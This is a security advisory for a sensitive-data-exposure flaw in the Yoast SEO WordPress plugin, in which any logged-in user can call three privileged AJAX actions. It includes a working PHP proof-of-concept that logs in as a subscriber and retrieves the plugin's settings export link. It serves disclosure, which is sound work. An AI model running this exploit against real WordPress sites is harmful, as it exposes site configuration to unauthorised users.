Yoast SEO [Sensitive Data Exposure]
Description
Yoast SEO plugin has a Sensitive Data Exposure vulnerability. Plugin registers the following AJAX action:
- wpseo_export
- get_focus_keyword_usage
- get_term_keyword_usage
These actions are privileged therefor are available only to registered users, but no special capabilities are required to perform them. Any user with a valid account to the infected website can exploit those actions to get information about Yoast SEO settings and post meta relative to focus and terms keywords.
This kind of information should be available only to users with
administrative capabilities. To be more precise to users that have the
manage_options
capability, because plugin’s option pages require this
capability by default.
PoC
#!/usr/bin/env php
<?php
/***********************************************************************
* Yoast SEO - Sensitive Data Exposure - Export Setting Exploit
*
* Author: Pan Vag <[email protected]>
* Dependencies: Requests for PHP - http://requests.ryanmccue.info
**********************************************************************/
// Assuming we have installed `Requests for PHP` with composer in vendor dir
require_once 'vendor/autoload.php';
$baseUrl = 'http://wp1.dev';
$ajaxUrl = $baseUrl.'/wp-admin/admin-ajax.php';
$loginUrl = $baseUrl.'/wp-login.php';
$loginPostData = [
'log' => 'subscriber',
'pwd' => 'password',
'rememberme' => 'forever',
'wp-submit' => 'Log+In',
];
$s = new Requests_Session( $baseUrl );
$r = $s->post( $loginUrl, [ ], $loginPostData );
if ( $r->url == $loginUrl ) {
echo '[-] Authentication failed' . PHP_EOL;
exit( 1 );
}
$r = $s->post($ajaxUrl,[], ['action' => 'wpseo_export', ['include_taxonomy' => true]]);
$response = json_decode($r->body);
if(!$response || !isset($response->msg)){
echo '[-] Unable to get a valid response' . PHP_EOL;
exit( 1 );
}
preg_match('/href="([^"]+)"/', $response->msg, $matches);
if(!isset($matches[1]) || !$matches[1]){
echo '[-] Unable to get a valid response' . PHP_EOL;
exit( 1 );
}
echo "[+] Settings file can be downloaded from `{$matches[1]}`" . PHP_EOL;
exit( 0 );
Solution
No fix available